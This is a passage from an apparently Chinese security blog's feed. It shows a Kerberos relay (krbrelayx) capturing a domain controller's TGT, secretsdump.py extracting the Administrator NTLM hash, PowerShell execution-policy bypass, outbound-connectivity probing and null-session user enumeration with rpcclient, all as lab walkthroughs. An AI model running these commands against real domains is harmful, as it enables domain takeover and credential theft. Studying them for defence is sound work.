class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;domain1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;krbrelay收到来自DC的连接：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;root@localhost&lt;span class="w"&gt; &lt;/span&gt;krbrelayx&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="c1"&gt;# python3  krbrelayx.py -p &amp;quot;OMG Step Bro I&amp;#39;m stuck&amp;quot; -s DOMAIN1.COMohyeah&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;*&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Protocol&lt;span class="w"&gt; &lt;/span&gt;Client&lt;span class="w"&gt; &lt;/span&gt;LDAPS&lt;span class="w"&gt; &lt;/span&gt;loaded..
&lt;span class="o"&gt;[&lt;/span&gt;*&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Protocol&lt;span class="w"&gt; &lt;/span&gt;Client&lt;span class="w"&gt; &lt;/span&gt;LDAP&lt;span class="w"&gt; &lt;/span&gt;loaded..
&lt;span class="o"&gt;[&lt;/span&gt;*&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Protocol&lt;span class="w"&gt; &lt;/span&gt;Client&lt;span class="w"&gt; &lt;/span&gt;SMB&lt;span class="w"&gt; &lt;/span&gt;loaded..
&lt;span class="o"&gt;[&lt;/span&gt;*&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Running&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;mode&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;all&lt;span class="w"&gt; &lt;/span&gt;tickets&lt;span class="w"&gt; &lt;/span&gt;will&lt;span class="w"&gt; &lt;/span&gt;be&lt;span class="w"&gt; &lt;/span&gt;saved&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;disk&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;*&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Setting&lt;span class="w"&gt; &lt;/span&gt;up&lt;span class="w"&gt; &lt;/span&gt;SMB&lt;span class="w"&gt; &lt;/span&gt;Server
&lt;span class="o"&gt;[&lt;/span&gt;*&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Setting&lt;span class="w"&gt; &lt;/span&gt;up&lt;span class="w"&gt; &lt;/span&gt;HTTP&lt;span class="w"&gt; &lt;/span&gt;Server

&lt;span class="o"&gt;[&lt;/span&gt;*&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Servers&lt;span class="w"&gt; &lt;/span&gt;started,&lt;span class="w"&gt; &lt;/span&gt;waiting&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;connections
&lt;span class="o"&gt;[&lt;/span&gt;*&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;SMBD:&lt;span class="w"&gt; &lt;/span&gt;Received&lt;span class="w"&gt; &lt;/span&gt;connection&lt;span class="w"&gt; &lt;/span&gt;from&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;192&lt;/span&gt;.168.60.138
&lt;span class="o"&gt;[&lt;/span&gt;*&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Got&lt;span class="w"&gt; &lt;/span&gt;ticket&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;WIN-4T6K0ODHA2F&lt;span class="nv"&gt;$@&lt;/span&gt;DOMAIN1.COM&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;krbtgt@DOMAIN1.COM&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;*&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Saving&lt;span class="w"&gt; &lt;/span&gt;ticket&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;WIN-4T6K0ODHA2F&lt;span class="nv"&gt;$@&lt;/span&gt;DOMAIN1.COM_krbtgt@DOMAIN1.COM.ccache
&lt;span class="o"&gt;[&lt;/span&gt;*&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;SMBD:&lt;span class="w"&gt; &lt;/span&gt;Received&lt;span class="w"&gt; &lt;/span&gt;connection&lt;span class="w"&gt; &lt;/span&gt;from&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;192&lt;/span&gt;.168.60.138
&lt;span class="o"&gt;[&lt;/span&gt;-&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Unsupported&lt;span class="w"&gt; &lt;/span&gt;MechType&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;NTLMSSP - Microsoft NTLM Security Support Provider&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;*&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;SMBD:&lt;span class="w"&gt; &lt;/span&gt;Received&lt;span class="w"&gt; &lt;/span&gt;connection&lt;span class="w"&gt; &lt;/span&gt;from&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;192&lt;/span&gt;.168.60.138
&lt;span class="o"&gt;[&lt;/span&gt;-&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Unsupported&lt;span class="w"&gt; &lt;/span&gt;MechType&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;NTLMSSP - Microsoft NTLM Security Support Provider&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;至此我们已经获取到了DC的机器账户&lt;code&gt;WIN-4T6K0ODHA2F$&lt;/code&gt;的TGT：&lt;code&gt;WIN-4T6K0ODHA2F$@DOMAIN1.COM_krbtgt@DOMAIN1.COM.ccache&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;提升至域控权限&lt;/h1&gt;
&lt;p&gt;设置环境变量，那个ccache文件又长还带了一个$，我干脆把它重命名为123.ccache：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;root@localhost&lt;span class="w"&gt; &lt;/span&gt;krbrelayx&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="c1"&gt;# mv *.ccache 123.ccache&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;root@localhost&lt;span class="w"&gt; &lt;/span&gt;krbrelayx&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="c1"&gt;# export KRB5CCNAME=/tmp/tmp/krbrelayx/123.ccache&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;在&lt;code&gt;/etc/hosts&lt;/code&gt;文件中添加如下两行记录用于解析域名：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="m"&gt;192&lt;/span&gt;.168.60.138&lt;span class="w"&gt; &lt;/span&gt;win-4t6k0odha2f.domain1.com
&lt;span class="m"&gt;192&lt;/span&gt;.168.60.138&lt;span class="w"&gt; &lt;/span&gt;domain1.com
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;然后使用&lt;code&gt;secretsdump.py&lt;/code&gt;获取指定域用户的hash，比如administrator：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;root@localhost&lt;span class="w"&gt; &lt;/span&gt;krbrelayx&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="c1"&gt;# secretsdump.py -no-pass -k win-4t6k0odha2f.domain1.com  -just-dc-user administrator -just-dc-ntlm&lt;/span&gt;
Impacket&lt;span class="w"&gt; &lt;/span&gt;v0.9.22&lt;span class="w"&gt; &lt;/span&gt;-&lt;span class="w"&gt; &lt;/span&gt;Copyright&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2020&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;SecureAuth&lt;span class="w"&gt; &lt;/span&gt;Corporation

&lt;span class="o"&gt;[&lt;/span&gt;*&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Dumping&lt;span class="w"&gt; &lt;/span&gt;Domain&lt;span class="w"&gt; &lt;/span&gt;Credentials&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;domain&lt;span class="se"&gt;\u&lt;/span&gt;id:rid:lmhash:nthash&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;*&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Using&lt;span class="w"&gt; &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;DRSUAPI&lt;span class="w"&gt; &lt;/span&gt;method&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;get&lt;span class="w"&gt; &lt;/span&gt;NTDS.DIT&lt;span class="w"&gt; &lt;/span&gt;secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:061c54f1f5311e1f47958465e16bab65:::
&lt;span class="o"&gt;[&lt;/span&gt;*&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Cleaning&lt;span class="w"&gt; &lt;/span&gt;up...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;至此，提权成功&lt;/p&gt;</content><category term="内网安全"></category></entry><entry><title>获取windows登录日志</title><link href="huo-qu-windowsdeng-lu-ri-zhi.html" rel="alternate"></link><published>2020-12-22T00:00:00+01:00</published><updated>2020-12-22T00:00:00+01:00</updated><author><name>12138</name></author><id>tag:None,2020-12-22:huo-qu-windowsdeng-lu-ri-zhi.html</id><summary type="html">&lt;h2&gt;获取主机交互式登录日志&lt;/h2&gt;
&lt;h3&gt;powershell脚本&lt;/h3&gt;
&lt;p&gt;脚本下载链接：&lt;a href="https://gitee.com/wochinijiamile/smartya/raw/master/%E5%85%B3%E6%B3%A8%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%8F%B7%E3%80%8A%E6%88%91%E5%90%83%E4%BD%A0%E5%AE%B6%E7%B1%B3%E4%BA%86%E3%80%8B%E5%90%8E%E5%8F%B0%E5%9B%9E%E5%A4%8Dlog%E8%8E%B7%E5%8F%96%E8%A7%A3%E5%8E%8B%E5%AF%86%E7%A0%81.zip"&gt;log_export.ps1&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;运行完成之后会生成一个包含登录日志的csv文件，我这里是在我自己的机器 …&lt;/p&gt;</summary><content type="html">&lt;h2&gt;获取主机交互式登录日志&lt;/h2&gt;
&lt;h3&gt;powershell脚本&lt;/h3&gt;
&lt;p&gt;脚本下载链接：&lt;a href="https://gitee.com/wochinijiamile/smartya/raw/master/%E5%85%B3%E6%B3%A8%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%8F%B7%E3%80%8A%E6%88%91%E5%90%83%E4%BD%A0%E5%AE%B6%E7%B1%B3%E4%BA%86%E3%80%8B%E5%90%8E%E5%8F%B0%E5%9B%9E%E5%A4%8Dlog%E8%8E%B7%E5%8F%96%E8%A7%A3%E5%8E%8B%E5%AF%86%E7%A0%81.zip"&gt;log_export.ps1&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;运行完成之后会生成一个包含登录日志的csv文件，我这里是在我自己的机器上演示的，所以没有登录IP，在实际环境中如果存在3389登录，则会显示出登录IP&lt;/p&gt;
&lt;p&gt;&lt;img alt="1608619334486" src="https://s2.loli.net/2024/06/14/YonvFOLjgJwtRrf.png"&gt;&lt;/p&gt;
&lt;p&gt;可以注意到我上面运行的命令为：&lt;code&gt;powershell -executionpolicy bypass -command "&amp;amp; { C:\Users\x\AppData\Local\Temp\log_export.ps1 }"&lt;/code&gt;，这样可以直接在shell环境下绕过powershell脚本执行限制策略运行ps1脚本，可参考我的这篇文章：&lt;a href="https://wochinijiamile.blog.csdn.net/article/details/103884626"&gt;在cmd中导入powershell module并执行&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;同时我们也可以指定时间范围来对查询结果进行限制，用法：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;powershell&lt;span class="w"&gt; &lt;/span&gt;-executionpolicy&lt;span class="w"&gt; &lt;/span&gt;bypass&lt;span class="w"&gt; &lt;/span&gt;-command&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;amp; { C:\Users\x\AppData\Local\Temp\log_export.ps1 -StartTime \&amp;quot;December 11, 2020\&amp;quot; -EndTime \&amp;quot;December 22, 2020\&amp;quot; }&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;上面这条命令会导出&lt;code&gt;2020-12-11&lt;/code&gt;至&lt;code&gt;2020-12-22&lt;/code&gt;之间的登录日志，指定时间范围是需要注意格式：&lt;strong&gt;November 1, 2020，月份为英文全写，首字母大写，然后空格跟上日期，最后是英文的&lt;code&gt;,&lt;/code&gt;加空格再跟上年份&lt;/strong&gt;，&lt;/p&gt;
&lt;p&gt;&lt;img alt="1608627072531" src="https://s2.loli.net/2024/06/14/NUISf4pEZg82c3b.png"&gt;&lt;/p&gt;
&lt;p&gt;我对脚本进行了更改，如果不指定日期，则默认时间范围是&lt;code&gt;1970-1-1&lt;/code&gt;~&lt;code&gt;1970-1-2&lt;/code&gt;，即导出数据为空&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;powershell&lt;span class="w"&gt; &lt;/span&gt;-executionpolicy&lt;span class="w"&gt; &lt;/span&gt;bypass&lt;span class="w"&gt; &lt;/span&gt;-command&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;amp; { C:\Users\x\AppData\Local\Temp\log_export.ps1 }&amp;quot;&lt;/span&gt;
Get-WinEvent&lt;span class="w"&gt; &lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;找不到任何与指定的选择条件匹配的事件。
所在位置&lt;span class="w"&gt; &lt;/span&gt;C:&lt;span class="se"&gt;\U&lt;/span&gt;sers&lt;span class="se"&gt;\x\A&lt;/span&gt;ppData&lt;span class="se"&gt;\L&lt;/span&gt;ocal&lt;span class="se"&gt;\T&lt;/span&gt;emp&lt;span class="se"&gt;\l&lt;/span&gt;og_export.ps1:46&lt;span class="w"&gt; &lt;/span&gt;字符:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;23&lt;/span&gt;
+&lt;span class="w"&gt; &lt;/span&gt;...&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;llEntries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Get-WinEvent&lt;span class="w"&gt; &lt;/span&gt;-FilterHashtable&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$LogFilter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-ComputerName&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$S&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;...
+&lt;span class="w"&gt;                 &lt;/span&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
&lt;span class="w"&gt;    &lt;/span&gt;+&lt;span class="w"&gt; &lt;/span&gt;CategoryInfo&lt;span class="w"&gt;          &lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;ObjectNotFound:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;:&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;Get-WinEvent&lt;span class="o"&gt;]&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;Exception
&lt;span class="w"&gt;    &lt;/span&gt;+&lt;span class="w"&gt; &lt;/span&gt;FullyQualifiedErrorId&lt;span class="w"&gt; &lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;NoMatchingEventsFound,Microsoft.PowerShell.Commands.GetWinEventCommand

Writing&lt;span class="w"&gt; &lt;/span&gt;File:&lt;span class="w"&gt; &lt;/span&gt;C:&lt;span class="se"&gt;\U&lt;/span&gt;sers&lt;span class="se"&gt;\x\2&lt;/span&gt;&lt;span class="m"&gt;020&lt;/span&gt;-12-22T16.51.49_RDP_Report.csv
Done!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;此时导出的csv文件中将不包含任何有效记录！&lt;/strong&gt;&lt;/p&gt;</content><category term="内网安全"></category></entry><entry><title>探测主机网络状态</title><link href="tan-ce-zhu-ji-wang-luo-zhuang-tai.html" rel="alternate"></link><published>2020-12-22T00:00:00+01:00</published><updated>2020-12-22T00:00:00+01:00</updated><author><name>12138</name></author><id>tag:None,2020-12-22:tan-ce-zhu-ji-wang-luo-zhuang-tai.html</id><summary type="html">&lt;h1&gt;探测主机是否能够出网&lt;/h1&gt;
&lt;h2&gt;使用windows自带的ftp&lt;/h2&gt;
&lt;p&gt;&lt;img alt="image-20200820212528452" src="https://s2.loli.net/2024/06/14/2tycqSra9TVMhLR.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;使用这种方式确实可以判断目标机器是否可以与外部IP建立TCP连接，但是缺点是只能探测21端口，windows自带的ftp命令无法使用一条命令连接指定端口，需要 …&lt;/strong&gt;&lt;/p&gt;</summary><content type="html">&lt;h1&gt;探测主机是否能够出网&lt;/h1&gt;
&lt;h2&gt;使用windows自带的ftp&lt;/h2&gt;
&lt;p&gt;&lt;img alt="image-20200820212528452" src="https://s2.loli.net/2024/06/14/2tycqSra9TVMhLR.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;使用这种方式确实可以判断目标机器是否可以与外部IP建立TCP连接，但是缺点是只能探测21端口，windows自带的ftp命令无法使用一条命令连接指定端口，需要先进入交互式的ftp命令提示符之后才可以使用open指定端口&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;使用portqry.exe&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://www.microsoft.com/en-us/download/details.aspx?id=17148"&gt;下载链接&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;该工具为Microsoft提供，不会被杀软查杀，可以使用如下方式探测指定IP的指定端口是否开启：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;portqry.exe -n 114.116.241.95 -e 54321
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="image-20200820213126426" src="https://s2.loli.net/2024/06/14/EXTZKiI51LsSRWn.png"&gt;&lt;/p&gt;
&lt;p&gt;portqry默认采用TCP协议进行端口探测，可以使用&lt;code&gt;-p&lt;/code&gt;选项指定协议：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;portqry.exe -n 114.116.241.95 -e 55555 -p udp
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="image-20200820214053671" src="https://s2.loli.net/2024/06/14/rtA1qsH98GTRZYy.png"&gt;&lt;/p&gt;
&lt;h1&gt;获取主机出口IP&lt;/h1&gt;
&lt;p&gt;对于出网的机器，直接使用上面两种方法即可获取到主机的出口IP，但是对于不出网但是又能够解析域名并往外发ICMP包的主机来说，就需要使用下面这两种方法来获取出口IP了&lt;/p&gt;
&lt;h2&gt;使用BurpSuite的Burp Cpllaborator client&lt;/h2&gt;
&lt;p&gt;&lt;img alt="image-20200820214355998" src="https://s2.loli.net/2024/06/14/I4CufkBerEZ1P2D.png"&gt;&lt;/p&gt;
&lt;p&gt;点击&lt;code&gt;copy to clipboard&lt;/code&gt;获取域名&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20200820214456076" src="https://s2.loli.net/2024/06/14/uopONQL4bix7V85.png"&gt;&lt;/p&gt;
&lt;p&gt;在目标机器上ping上面获取到的域名：&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20200820214604691" src="https://s2.loli.net/2024/06/14/1UhXjWqvLHyfSVd.png"&gt;&lt;/p&gt;
&lt;p&gt;然后在&lt;code&gt;Burp Cpllaborator client&lt;/code&gt;点击&lt;code&gt;Pull now&lt;/code&gt;，即可获得DNS请求信息，从而获取到目标机器的出口IP：
&lt;img alt="image-20200820215000348" src="https://s2.loli.net/2024/06/14/8TFIkRxqXoWCrzH.png"&gt;&lt;/p&gt;
&lt;p&gt;不过使用这种方法获取到的IP不保证为目标机器的真实出口IP，因为如果它使用的是递归查询的方式，那么我们获取到的IP可能就是最后一个向我们发起dns查询请求的dns服务器的IP，只能大致推测一下目标IP的地理位置，还是使用tcpdump监听icmp包比较靠谱&lt;/p&gt;
&lt;h2&gt;监听ICMP包&lt;/h2&gt;
&lt;p&gt;左侧使用tcpdump监听eht0网卡上的ICMP包：&lt;code&gt;tcpdump -nn -i eth0 icmp&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;一般情况下是不会有人ping我们的vps的，所以这种方法相对比较准确，这里只发了一次包，可以多发几次以提高正确率&lt;/p&gt;
&lt;p&gt;&lt;img alt="1607868228796" src="https://s2.loli.net/2024/06/14/O4kFWiJmIEY1SQV.png"&gt;&lt;/p&gt;</content><category term="内网安全"></category></entry><entry><title>关于windows空会话的一些研究</title><link href="guan-yu-windowskong-hui-hua-de-yi-xie-yan-jiu.html" rel="alternate"></link><published>2020-10-18T00:00:00+02:00</published><updated>2020-10-18T00:00:00+02:00</updated><author><name>12138</name></author><id>tag:None,2020-10-18:guan-yu-windowskong-hui-hua-de-yi-xie-yan-jiu.html</id><summary type="html">&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;在这篇文章中我们探讨一下windows空会话&lt;/p&gt;
&lt;p&gt;参考链接：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://sensepost.com/blog/2018/a-new-look-at-null-sessions-and-user-enumeration/"&gt;https://sensepost.com/blog/2018/a-new-look-at-null-sessions-and-user-enumeration/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;抓包分析&lt;/h1&gt;
&lt;p&gt;使用&lt;code&gt;rpcclient&lt;/code&gt;尝试建立空连接并调用&lt;code&gt;querydispinfo&lt;/code&gt;方法&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;rpcclient&lt;span class="w"&gt; &lt;/span&gt;-U&lt;span class="s1"&gt;&amp;#39;%&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;192&lt;/span&gt;.168.60 …&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;在这篇文章中我们探讨一下windows空会话&lt;/p&gt;
&lt;p&gt;参考链接：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://sensepost.com/blog/2018/a-new-look-at-null-sessions-and-user-enumeration/"&gt;https://sensepost.com/blog/2018/a-new-look-at-null-sessions-and-user-enumeration/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;抓包分析&lt;/h1&gt;
&lt;p&gt;使用&lt;code&gt;rpcclient&lt;/code&gt;尝试建立空连接并调用&lt;code&gt;querydispinfo&lt;/code&gt;方法&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;rpcclient&lt;span class="w"&gt; &lt;/span&gt;-U&lt;span class="s1"&gt;&amp;#39;%&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;192&lt;/span&gt;.168.60.160&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;querydispinfo&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;返回&lt;code&gt;NT_STATUS_ACCESS_DENIED&lt;/code&gt; &lt;/p&gt;
&lt;p&gt;从抓包结果上分析，认证和授权这两个部分是分开的&lt;/p&gt;
&lt;p&gt;&lt;img alt="1603184650425" src="https://s2.loli.net/2024/06/14/NDn5Vymwo1UFeaf.png"&gt;&lt;/p&gt;
&lt;p&gt;可以看到在执行&lt;code&gt;Connect5&lt;/code&gt;方法时已经开始报出&lt;code&gt;STATUS_ACCES_DEBIED&lt;/code&gt;错误，根据&lt;a href="https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/Windows_Protocols.zip"&gt;微软官方文档&lt;/a&gt;对&lt;code&gt;SAMR&lt;/code&gt;协议的描述并对比连接成功时的数据包，可以看出来客户端会逐一尝试Connect方法，直到Connect2失败，结束请求，返回错误&lt;/p&gt;
&lt;p&gt;你可以认证到&lt;code&gt;ipc$&lt;/code&gt;共享上，也可以打开&lt;code&gt;ipc$&lt;/code&gt;共享，但是你没办法在其所暴露出来的&lt;code&gt;samr&lt;/code&gt;这个命名管道上调用&lt;code&gt;QueryDisplayInfo&lt;/code&gt;方法，也就是说你可以建立空连接，但是你无法执行特定的RPC方法&lt;/p&gt;
&lt;p&gt;这里描述了各命名管道上能够调用的方法：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://manpages.debian.org/testing/smbclient/rpcclient.1.en.html"&gt;https://manpages.debian.org/testing/smbclient/rpcclient.1.en.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;使用nmap的 smb-enum-users脚本可以枚举出远程系统的所有用户，有时间我要研究一下这个脚本是怎么回事&lt;/p&gt;
&lt;p&gt;&lt;img alt="image1" src="https://s2.loli.net/2024/06/14/UBHzforqRVyaK7b.png"&gt;&lt;/p&gt;
&lt;p&gt;但是我本地复现时无法枚举远程系统的用户，&lt;strong&gt;网上搜了一下，说是需要使用比较老的nmap版本&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我尝试找了一下&lt;a href="https://docs.microsoft.com/zh-cn/windows/security/threat-protection/security-policy-settings/network-access-named-pipes-that-can-be-accessed-anonymously"&gt;哪些管道可以进行匿名连接&lt;/a&gt;，还有就是在这些管道上可以调用哪些方法&lt;/p&gt;
&lt;p&gt;最后我锁定了&lt;code&gt;netlogon&lt;/code&gt;管道上的&lt;code&gt;GetDcName&lt;/code&gt;, &lt;code&gt;DsrGetDcName&lt;/code&gt;, &lt;code&gt;DsrGetDcNameEx&lt;/code&gt;和&lt;code&gt;DsrGetDcNameEx2&lt;/code&gt;这些方法&lt;/p&gt;
&lt;p&gt;这些方法可以被用来检测在DC中是否存在特定的用户&lt;/p&gt;
&lt;h2&gt;直接调用DsrGetDcNameEx2方法&lt;/h2&gt;
&lt;p&gt;先用&lt;code&gt;rpcclient&lt;/code&gt;工具执行如下命令调用&lt;code&gt;DsrGetDcNameEx2&lt;/code&gt;方法&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;rpcclient&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;192&lt;/span&gt;.168.60.160&lt;span class="w"&gt; &lt;/span&gt;-U&lt;span class="s1"&gt;&amp;#39;%&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;dsr_getdcnameex2 Administrator 512 domain2.com&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;192.168.60.160是DC&lt;/li&gt;
&lt;li&gt;domain2.com是域名&lt;/li&gt;
&lt;li&gt;Administrator 是我们要验证是否存在的用户名&lt;/li&gt;
